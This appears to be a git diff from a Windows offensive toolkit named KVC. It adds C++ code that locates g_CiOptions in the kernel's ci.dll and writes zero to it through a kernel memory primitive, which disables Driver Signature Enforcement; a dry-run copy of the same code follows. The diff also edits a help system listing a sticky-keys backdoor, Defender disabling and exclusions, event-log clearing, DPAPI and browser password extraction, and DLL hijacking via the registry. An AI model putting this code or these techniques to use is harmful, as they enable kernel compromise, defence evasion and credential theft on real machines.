DEBUG(L"[DSE] Write capability test passed - memory is writable");
// Step 5: Disable DSE by setting to 0
DWORD newValue = 0x0;
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
ERROR(L"[DSE] Failed to write g_CiOptions");
return false;
}
// Step 6: Verify the actual change
auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) {
ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF);
return false;
}
SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue);
return true;
}
bool DSEBypass::RestoreDSE() noexcept {
INFO(L"[DSE] Attempting to restore Driver Signature Enforcement...");
// Step 1: Find ci.dll base address
auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"[DSE] Failed to locate ci.dll");
return false;
}
// Step 2: Locate g_CiOptions
m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) {
ERROR(L"[DSE] Failed to locate g_CiOptions");
return false;
}
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
// Step 3: Read current value
auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) {
ERROR(L"[DSE] Failed to read g_CiOptions");
return false;
}
DWORD currentValue = current.value();
INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue);
// Step 4: Test write capability before modification
DEBUG(L"[DSE] Testing write capability before restoration...");
if (!m_rtc->Write32(m_ciOptionsAddr, currentValue)) {
ERROR(L"[DSE] Memory test write failed - address may be read-only or protected");
return false;
}
auto testRead = m_rtc->Read32(m_ciOptionsAddr);
if (!testRead || testRead.value() != currentValue) {
ERROR(L"[DSE] Memory test verification failed");
return false;
}
DEBUG(L"[DSE] Write capability test passed");
// Step 5: Restore to original value or default (0x6)
DWORD newValue = m_originalValue ? m_originalValue : 0x6;
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
ERROR(L"[DSE] Failed to write g_CiOptions");
return false;
}
// Step 6: Verify the change
auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) {
ERROR(L"[DSE] Verification failed");
return false;
}
SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
return true;
}
std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) {
ERROR(L"[DSE] Failed to get ntdll.dll handle");
return std::nullopt;
}
typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
auto pNtQuerySystemInformation = reinterpret_cast<NTQUERYSYSTEMINFORMATION>(
GetProcAddress(hNtdll, "NtQuerySystemInformation"));
if (!pNtQuerySystemInformation) {
ERROR(L"[DSE] Failed to get NtQuerySystemInformation");
return std::nullopt;
}
// First call to get required buffer size
ULONG bufferSize = 0;
NTSTATUS status = pNtQuerySystemInformation(
11, // SystemModuleInformation
nullptr,
0,
&bufferSize
);
if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status);
return std::nullopt;
}
// Allocate buffer and get module list
auto buffer = std::make_unique<BYTE[]>(bufferSize);
auto modules = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.get());
status = pNtQuerySystemInformation(
11, // SystemModuleInformation
modules,
bufferSize,
&bufferSize
);
if (status != 0) {
ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status);
return std::nullopt;
}
INFO(L"[DSE] Found %d kernel modules", modules->Count);
// Debug: Show first 10 modules for diagnostic purposes
DEBUG(L"[DSE] Listing first 10 kernel modules:");
for (ULONG i = 0; i < modules->Count && i < 10; i++) {
auto& mod = modules->Modules[i];
const char* fileName = strrchr(mod.ImageName, '\\');
if (fileName) fileName++;
else fileName = mod.ImageName;
DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName,
reinterpret_cast<ULONG_PTR>(mod.ImageBase));
}
// Search for target module by name
for (ULONG i = 0; i < modules->Count; i++) {
auto& mod = modules->Modules[i];
// Extract filename from full path
const char* fileName = strrchr(mod.ImageName, '\\');
if (fileName) {
fileName++; // Skip backslash
} else {
fileName = mod.ImageName;
}
if (_stricmp(fileName, moduleName) == 0) {
ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
// Validate base address is not NULL
if (baseAddr == 0) {
ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName);
continue; // Keep searching in case of duplicates
}
DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
return baseAddr;
}
}
ERROR(L"[DSE] Module %S not found in kernel", moduleName);
return std::nullopt;
}
ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
// Get CiPolicy section information
auto dataSection = GetDataSection(ciBase);
if (!dataSection) {
ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll");
return 0;
}
ULONG_PTR dataStart = dataSection->first;
SIZE_T dataSize = dataSection->second;
DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
// g_CiOptions is always at offset +4 in CiPolicy section
// This is a documented offset used by all DSE bypass tools
ULONG_PTR ciOptionsAddr = dataStart + 0x4;
// Verify we can read from this address
auto currentValue = m_rtc->Read32(ciOptionsAddr);
if (!currentValue) {
ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr);
return 0;
}
DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value());
return ciOptionsAddr;
}
std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept {
// Read DOS header (MZ signature)
auto dosHeader = m_rtc->Read16(moduleBase);
if (!dosHeader || dosHeader.value() != 0x5A4D) { // "MZ"
return std::nullopt;
}
// Get PE header offset (e_lfanew)
auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C);
if (!e_lfanew || e_lfanew.value() > 0x1000) {
return std::nullopt;
}
ULONG_PTR ntHeaders = moduleBase + e_lfanew.value();
// Verify PE signature
auto peSignature = m_rtc->Read32(ntHeaders);
if (!peSignature || peSignature.value() != 0x4550) { // "PE"
return std::nullopt;
}
// Get section count
auto numSections = m_rtc->Read16(ntHeaders + 0x6);
if (!numSections || numSections.value() > 50) {
return std::nullopt;
}
auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14);
if (!sizeOfOptionalHeader) return std::nullopt;
ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();
// Debug: List all sections for diagnostic purposes
DEBUG(L"[DSE] Listing ALL sections in ci.dll:");
for (WORD i = 0; i < numSections.value(); i++) {
ULONG_PTR sectionHeader = firstSection + (i * 40);
// Read section name (8 bytes)
char name[9] = {0};
for (int j = 0; j < 8; j++) {
auto ch = m_rtc->Read8(sectionHeader + j);
if (ch) name[j] = static_cast<char>(ch.value());
}
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
auto characteristics = m_rtc->Read32(sectionHeader + 0x24);
if (virtualSize && virtualAddr && characteristics) {
DWORD chars = characteristics.value();
bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE
DEBUG(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s",
i, name, virtualAddr.value(), virtualSize.value(), chars,
writable ? L"[WRITABLE]" : L"[READ-ONLY]");
}
}
// Search for CiPolicy section specifically
for (WORD i = 0; i < numSections.value(); i++) {
ULONG_PTR sectionHeader = firstSection + (i * 40);
// Read section name
char name[9] = {0};
for (int j = 0; j < 8; j++) {
auto ch = m_rtc->Read8(sectionHeader + j);
if (ch) name[j] = static_cast<char>(ch.value());
}
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
if (virtualSize && virtualAddr) {
// Look for CiPolicy section by name
if (strcmp(name, "CiPolicy") == 0) {
DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X",
virtualAddr.value(), virtualSize.value());
return std::make_pair(
moduleBase + virtualAddr.value(),
static_cast<SIZE_T>(virtualSize.value())
);
}
}
}
ERROR(L"[DSE] CiPolicy section not found in ci.dll");
return std::nullopt;
}
bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept {
// Simplified validation - address should be within module bounds
// Maximum reasonable module size is 2MB
return (addr > moduleBase && addr < moduleBase + 0x200000);
}
DWORD DSEBypass::GetWindowsBuild() noexcept {
OSVERSIONINFOEXW osInfo = { sizeof(osInfo) };
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion");
if (RtlGetVersion) {
RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo);
return osInfo.dwBuildNumber;
}
return 0;
}

358
kvc/DSEBypass_write.cpp Normal file
View File

@@ -0,0 +1,358 @@
#include "DSEBypass.h"
#include "common.h"
#pragma comment(lib, "ntdll.lib")
// Kernel module structures (same as in Utils.cpp)
typedef struct _SYSTEM_MODULE {
ULONG_PTR Reserved1;
ULONG_PTR Reserved2;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc) : m_rtc(rtc) {}
bool DSEBypass::DisableDSE() noexcept {
INFO(L"[DSE] [DRY RUN MODE] Attempting to disable Driver Signature Enforcement...");
// Step 1: Find ci.dll base address
auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"[DSE] Failed to locate ci.dll");
return false;
}
INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value());
// Step 2: Locate g_CiOptions in CiPolicy section
m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) {
ERROR(L"[DSE] Failed to locate g_CiOptions");
return false;
}
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
// Step 3: Read current value and store as original
auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) {
ERROR(L"[DSE] Failed to read g_CiOptions");
return false;
}
m_originalValue = current.value();
INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue);
// Step 4: DRY RUN - Show what would be written for test
DWORD newValue = 0x0;
INFO(L"[DSE] [DRY RUN] WOULD write test: 0x%08X -> 0x%08X (same value test)",
m_originalValue, m_originalValue);
INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr);
// Step 5: DRY RUN - Show what would be written for actual disable
INFO(L"[DSE] [DRY RUN] WOULD write actual: 0x%08X -> 0x%08X (disable DSE)",
m_originalValue, newValue);
INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr);
SUCCESS(L"[DSE] [DRY RUN] DSE disable simulation completed (NO actual write performed)");
SUCCESS(L"[DSE] [DRY RUN] If this succeeded, the real write would be: 0x%llX := 0x%08X",
m_ciOptionsAddr, newValue);
return true;
}
bool DSEBypass::RestoreDSE() noexcept {
INFO(L"[DSE] [DRY RUN MODE] Attempting to restore Driver Signature Enforcement...");
// Step 1: Find ci.dll base address
auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"[DSE] Failed to locate ci.dll");
return false;
}
// Step 2: Locate g_CiOptions
m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) {
ERROR(L"[DSE] Failed to locate g_CiOptions");
return false;
}
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
// Step 3: Read current value
auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) {
ERROR(L"[DSE] Failed to read g_CiOptions");
return false;
}
DWORD currentValue = current.value();
INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue);
// Step 4: DRY RUN - Show what would be written for test
INFO(L"[DSE] [DRY RUN] WOULD write test: 0x%08X -> 0x%08X (same value test)",
currentValue, currentValue);
INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr);
// Step 5: DRY RUN - Show what would be written for restore
DWORD newValue = m_originalValue ? m_originalValue : 0x6;
INFO(L"[DSE] [DRY RUN] WOULD write actual: 0x%08X -> 0x%08X (restore DSE)",
currentValue, newValue);
INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr);
SUCCESS(L"[DSE] [DRY RUN] DSE restore simulation completed (NO actual write performed)");
SUCCESS(L"[DSE] [DRY RUN] If this succeeded, the real write would be: 0x%llX := 0x%08X",
m_ciOptionsAddr, newValue);
return true;
}
std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) {
ERROR(L"[DSE] Failed to get ntdll.dll handle");
return std::nullopt;
}
typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
auto pNtQuerySystemInformation = reinterpret_cast<NTQUERYSYSTEMINFORMATION>(
GetProcAddress(hNtdll, "NtQuerySystemInformation"));
if (!pNtQuerySystemInformation) {
ERROR(L"[DSE] Failed to get NtQuerySystemInformation");
return std::nullopt;
}
// First call to get required buffer size
ULONG bufferSize = 0;
NTSTATUS status = pNtQuerySystemInformation(
11, // SystemModuleInformation
nullptr,
0,
&bufferSize
);
if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status);
return std::nullopt;
}
// Allocate buffer and get module list
auto buffer = std::make_unique<BYTE[]>(bufferSize);
auto modules = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.get());
status = pNtQuerySystemInformation(
11, // SystemModuleInformation
modules,
bufferSize,
&bufferSize
);
if (status != 0) {
ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status);
return std::nullopt;
}
INFO(L"[DSE] Found %d kernel modules", modules->Count);
// Debug: Show first 10 modules for diagnostic purposes
DEBUG(L"[DSE] Listing first 10 kernel modules:");
for (ULONG i = 0; i < modules->Count && i < 10; i++) {
auto& mod = modules->Modules[i];
const char* fileName = strrchr(mod.ImageName, '\\');
if (fileName) fileName++;
else fileName = mod.ImageName;
DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName,
reinterpret_cast<ULONG_PTR>(mod.ImageBase));
}
// Search for target module by name
for (ULONG i = 0; i < modules->Count; i++) {
auto& mod = modules->Modules[i];
// Extract filename from full path
const char* fileName = strrchr(mod.ImageName, '\\');
if (fileName) {
fileName++; // Skip backslash
} else {
fileName = mod.ImageName;
}
if (_stricmp(fileName, moduleName) == 0) {
ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
// Validate base address is not NULL
if (baseAddr == 0) {
ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName);
continue; // Keep searching in case of duplicates
}
DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
return baseAddr;
}
}
ERROR(L"[DSE] Module %S not found in kernel", moduleName);
return std::nullopt;
}
ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
// Get CiPolicy section information
auto dataSection = GetDataSection(ciBase);
if (!dataSection) {
ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll");
return 0;
}
ULONG_PTR dataStart = dataSection->first;
SIZE_T dataSize = dataSection->second;
DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
// g_CiOptions is always at offset +4 in CiPolicy section
// This is a documented offset used by all DSE bypass tools
ULONG_PTR ciOptionsAddr = dataStart + 0x4;
// Verify we can read from this address
auto currentValue = m_rtc->Read32(ciOptionsAddr);
if (!currentValue) {
ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr);
return 0;
}
DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value());
return ciOptionsAddr;
}
std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept {
// Read DOS header (MZ signature)
auto dosHeader = m_rtc->Read16(moduleBase);
if (!dosHeader || dosHeader.value() != 0x5A4D) { // "MZ"
return std::nullopt;
}
// Get PE header offset (e_lfanew)
auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C);
if (!e_lfanew || e_lfanew.value() > 0x1000) {
return std::nullopt;
}
ULONG_PTR ntHeaders = moduleBase + e_lfanew.value();
// Verify PE signature
auto peSignature = m_rtc->Read32(ntHeaders);
if (!peSignature || peSignature.value() != 0x4550) { // "PE"
return std::nullopt;
}
// Get section count
auto numSections = m_rtc->Read16(ntHeaders + 0x6);
if (!numSections || numSections.value() > 50) {
return std::nullopt;
}
auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14);
if (!sizeOfOptionalHeader) return std::nullopt;
ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();
// Debug: List all sections for diagnostic purposes
DEBUG(L"[DSE] Listing ALL sections in ci.dll:");
for (WORD i = 0; i < numSections.value(); i++) {
ULONG_PTR sectionHeader = firstSection + (i * 40);
// Read section name (8 bytes)
char name[9] = {0};
for (int j = 0; j < 8; j++) {
auto ch = m_rtc->Read8(sectionHeader + j);
if (ch) name[j] = static_cast<char>(ch.value());
}
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
auto characteristics = m_rtc->Read32(sectionHeader + 0x24);
if (virtualSize && virtualAddr && characteristics) {
DWORD chars = characteristics.value();
bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE
DEBUG(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s",
i, name, virtualAddr.value(), virtualSize.value(), chars,
writable ? L"[WRITABLE]" : L"[READ-ONLY]");
}
}
// Search for CiPolicy section specifically
for (WORD i = 0; i < numSections.value(); i++) {
ULONG_PTR sectionHeader = firstSection + (i * 40);
// Read section name
char name[9] = {0};
for (int j = 0; j < 8; j++) {
auto ch = m_rtc->Read8(sectionHeader + j);
if (ch) name[j] = static_cast<char>(ch.value());
}
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
if (virtualSize && virtualAddr) {
// Look for CiPolicy section by name
if (strcmp(name, "CiPolicy") == 0) {
DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X",
virtualAddr.value(), virtualSize.value());
return std::make_pair(
moduleBase + virtualAddr.value(),
static_cast<SIZE_T>(virtualSize.value())
);
}
}
}
ERROR(L"[DSE] CiPolicy section not found in ci.dll");
return std::nullopt;
}
bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept {
// Simplified validation - address should be within module bounds
// Maximum reasonable module size is 2MB
return (addr > moduleBase && addr < moduleBase + 0x200000);
}
DWORD DSEBypass::GetWindowsBuild() noexcept {
OSVERSIONINFOEXW osInfo = { sizeof(osInfo) };
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion");
if (RtlGetVersion) {
RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo);
return osInfo.dwBuildNumber;
}
return 0;
}

View File

@@ -23,6 +23,7 @@ void HelpSystem::PrintUsage(std::wstring_view programName) noexcept
PrintDefenderCommands();
PrintSecurityEngineCommands();
PrintDPAPICommands();
PrintWatermarkCommands();
PrintProtectionTypes();
PrintExclusionTypes();
PrintPatternMatching();
@@ -226,6 +227,17 @@ void HelpSystem::PrintDPAPICommands() noexcept
std::wcout << L"\n";
}
void HelpSystem::PrintWatermarkCommands() noexcept
{
PrintSectionHeader(L"Watermark Management");
PrintCommandLine(L"watermark remove", L"Remove Windows desktop watermark (alias: wm remove)");
PrintCommandLine(L"watermark restore", L"Restore Windows desktop watermark (alias: wm restore)");
PrintCommandLine(L"watermark status", L"Check current watermark status (alias: wm status)");
PrintNote(L"Hijacks ExplorerFrame.dll via registry redirection");
PrintNote(L"Requires Administrator privileges and TrustedInstaller access");
std::wcout << L"\n";
}
void HelpSystem::PrintProtectionTypes() noexcept
{
PrintSectionHeader(L"Protection Types");
@@ -371,6 +383,12 @@ void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept
printLine(L"kvc dse on", L"Re-enable DSE for system security");
printLine(L"kvc dse", L"Check current DSE status");
// Watermark management
printLine(L"kvc wm status", L"Check if watermark is removed or active");
printLine(L"kvc wm remove", L"Remove Windows desktop watermark");
printLine(L"kvc wm restore", L"Restore original Windows watermark");
printLine(L"kvc watermark remove", L"Full command syntax (same as 'wm remove')");
// System backdoors
printLine(L"kvc shift", L"Install sticky keys backdoor");
printLine(L"kvc unshift", L"Remove sticky keys backdoor");

View File

@@ -1,425 +1,55 @@
/**
* @file HelpSystem.h
* @brief Comprehensive help system with modular command documentation
* @author Marek Wesolowski
* @date 2025
* @copyright KVC Framework
*
* Provides formatted help output with color-coded sections, usage examples,
* and detailed command explanations.
* Modular design allows displaying specific help sections as needed.
*/
// HelpSystem.h
// Comprehensive help system with modular command documentation
// Author: Marek Wesolowski, 2025
#pragma once
#include "common.h"
#include <string_view>
/**
* @class HelpSystem
* @brief Comprehensive help system for KVC with modular command documentation
*
* Features:
* - Color-coded section headers for readability
* - Categorized command listings by functionality
* - Detailed parameter explanations
* - Usage examples with real scenarios
* - Technical feature documentation
* - Security notices and warnings
*
* Help Categories:
* - Basic commands (help, list, info)
* - Process protection (protect, unprotect, set)
* - Process termination (kill)
* - Windows Defender management
* - DPAPI password extraction
* - Browser credential extraction
* - Service management
* - Registry operations
* - Security engine control
*
* @note Static class - no instantiation required
* @note Uses ANSI color codes for enhanced readability
*/
// Static help system - no instantiation needed
class HelpSystem
{
public:
HelpSystem() = delete; ///< Constructor deleted - static class
~HelpSystem() = delete; ///< Destructor deleted - static class
HelpSystem() = delete;
~HelpSystem() = delete;
// === Main Help Interface ===
/**
* @brief Print complete usage information
* @param programName Program name for display in examples
*
* Displays all help sections in organized format:
* 1. Program header with version and author
* 2. Basic command documentation
* 3. Process protection commands
* 4. System commands
* 5. Process termination commands
* 6. Windows Defender commands
* 7. DPAPI extraction commands
* 8. Browser extraction commands
* 9. Service management commands
* 10. Protection type explanations
* 11. Usage examples
* 12. Security notice and footer
*
* @note Comprehensive help covering all framework features
*/
// Main help interface
static void PrintUsage(std::wstring_view programName) noexcept;
/**
* @brief Print header with version and author info
*
* Displays KVC banner with ASCII art, version information,
* author credits, and copyright notice.
*
* @note Uses color coding for visual appeal
*/
static void PrintHeader() noexcept;
/**
* @brief Print basic command documentation
*
* Commands covered:
* - help: Display help information
* - list: List protected processes
* - info: Show process protection information
*
* @note Basic commands available without special privileges
*/
static void PrintBasicCommands() noexcept;
/**
* @brief Print process protection command documentation
*
* Commands covered:
* - protect: Add protection to unprotected process
* - unprotect: Remove protection from process
* - set: Force set protection level (overwrite)
* - set-signer: Change protection for specific signer
* - restore: Restore protection from session
*
* @note Requires driver and appropriate privileges
*/
static void PrintProtectionCommands() noexcept;
/**
* @brief Print system command documentation
*
* Commands covered:
* - dump: Dump process memory to file
* - elevate: Elevate current process protection
* - clear-logs: Clear Windows event logs
*
* @note Advanced operations requiring high privileges
*/
static void PrintSystemCommands() noexcept;
/**
* @brief Print process termination command documentation
*
* Commands covered:
* - kill: Terminate process with protection matching
* - kill multiple: Terminate multiple processes
*
* @note Supports both PID and name-based targeting
*/
static void PrintProcessTerminationCommands() noexcept;
/**
* @brief Print Windows Defender command documentation
*
* Commands covered:
* - defender-enable: Enable Windows Defender exclusions
* - defender-disable: Disable Windows Defender exclusions
* - defender-add: Add specific exclusion
* - defender-remove: Remove specific exclusion
*
* @note Requires TrustedInstaller privileges for some operations
*/
static void PrintDefenderCommands() noexcept;
/**
* @brief Print DPAPI extraction command documentation
*
* Commands covered:
* - extract-passwords: Extract passwords from Chrome/Edge/WiFi
* - master-keys: Display extracted master keys
* - decrypt: Decrypt specific DPAPI blob
*
* @note Requires TrustedInstaller privileges for registry access
*/
static void PrintDPAPICommands() noexcept;
/**
* @brief Print browser credential extraction documentation
*
* Commands covered:
* - chrome-passwords: Extract Chrome passwords only
* - edge-passwords: Extract Edge passwords only
* - browser-all: Extract from all supported browsers
*
* @note Uses SQLite and AES-GCM decryption for browser data
*/
static void PrintBrowserCommands() noexcept;
/**
* @brief Print service management command documentation
*
* Commands covered:
* - service-install: Install as Windows Service
* - service-start: Start service
* - service-stop: Stop service
* - service-uninstall: Uninstall service
*
* @note Requires administrative privileges
*/
static void PrintServiceCommands() noexcept;
/**
* @brief Print protection type documentation
*
* Explains PP (Protected Process) and PPL (Protected Process Light)
* concepts, including:
* - Protection level differences
* - Signer type authorities
* - Signature verification levels
* - Practical implications
*
* @note Technical background for protection operations
*/
static void PrintProtectionTypes() noexcept;
/**
* @brief Print Defender exclusion type documentation
*
* Explains different exclusion types:
* - Paths: File and folder exclusions
* - Processes: Process name exclusions
* - Extensions: File extension exclusions
* - IPs: IP address exclusions
*
* @note Used with defender-add and defender-remove commands
*/
static void PrintExclusionTypes() noexcept;
/**
* @brief Print pattern matching documentation
*
* Explains wildcard and regex support in process targeting:
* - Partial name matching
* - Case-insensitive matching
* - Multiple target specification
* - Comma-separated lists
*
* @note Used in process targeting commands
*/
static void PrintPatternMatching() noexcept;
/**
* @brief Print technical features documentation
*
* Explains advanced technical features:
* - Kernel offset discovery
* - EPROCESS structure manipulation
* - Driver communication
* - TrustedInstaller integration
* - Session state tracking
*
* @note For advanced users and developers
*/
static void PrintTechnicalFeatures() noexcept;
/**
* @brief Print unknown command message
* @param command Unknown command that was entered
*
* Displays friendly error message when unknown command is entered.
* Suggests using 'help' command for available options.
*
* @note User-friendly error handling
*/
static void PrintUnknownCommandMessage(std::wstring_view command) noexcept;
/**
* @brief Print Defender-specific notes and warnings
*
* Important information about Defender exclusion management:
* - Real-time protection implications
* - Exclusion persistence across reboots
* - Security considerations
* - Best practices
*
* @note Security-focused guidance
*/
static void PrintDefenderNotes() noexcept;
/**
* @brief Print registry operation command documentation
*
* Commands covered:
* - registry-backup: Backup registry hives
* - registry-restore: Restore registry hives
* - registry-defrag: Defragment registry
*
* @note Requires TrustedInstaller privileges
*/
static void PrintRegistryCommands() noexcept;
/**
* @brief Print security engine command documentation
*
* Commands covered:
* - security-disable: Disable Windows Defender engine
* - security-enable: Enable Windows Defender engine
* - security-status: Check security engine status
*
* @note Advanced system modification - use with caution
*/
static void PrintSecurityEngineCommands() noexcept;
/**
* @brief Print DSE (Driver Signature Enforcement) command documentation
*
* Commands covered:
* - dse off: Disable Driver Signature Enforcement
* - dse on: Enable Driver Signature Enforcement
* - dse: Check DSE status
*
* @note Modifying DSE is an advanced system operation and may cause instability or BSOD. Use with extreme caution.
*/
static void PrintDSECommands() noexcept;
/**
* @brief Print session management documentation
*
* Explains boot session tracking and restoration:
* - Session state persistence
* - Automatic reboot detection
* - Protection state restoration
* - Session cleanup operations
*
* @note Cross-boot state tracking feature
*/
// Command category sections
static void PrintServiceCommands() noexcept;
static void PrintDSECommands() noexcept;
static void PrintBasicCommands() noexcept;
static void PrintProcessTerminationCommands() noexcept;
static void PrintProtectionCommands() noexcept;
static void PrintSessionManagement() noexcept;
static void PrintSystemCommands() noexcept;
static void PrintRegistryCommands() noexcept;
static void PrintBrowserCommands() noexcept;
static void PrintDefenderCommands() noexcept;
static void PrintSecurityEngineCommands() noexcept;
static void PrintDPAPICommands() noexcept;
static void PrintWatermarkCommands() noexcept;
/**
* @brief Print sticky keys backdoor documentation
*
* Installation, removal, and security warnings for:
* - Sticky keys backdoor mechanism
* - Security implications
* - Installation procedure
* - Removal procedure
*
* @warning Security risk - authorized use only
*/
// Documentation sections
static void PrintProtectionTypes() noexcept;
static void PrintExclusionTypes() noexcept;
static void PrintPatternMatching() noexcept;
static void PrintTechnicalFeatures() noexcept;
static void PrintDefenderNotes() noexcept;
static void PrintStickyKeysInfo() noexcept;
/**
* @brief Print undumpable process documentation
*
* Lists processes with anti-dump protection:
* - LSA protected processes
- System critical processes
* - Anti-malware protected processes
* - Dumpability analysis results
*
* @note Processes that cannot be memory dumped
*/
static void PrintUndumpableProcesses() noexcept;
/**
* @brief Print usage examples with real scenarios
* @param programName Program name for display in examples
*
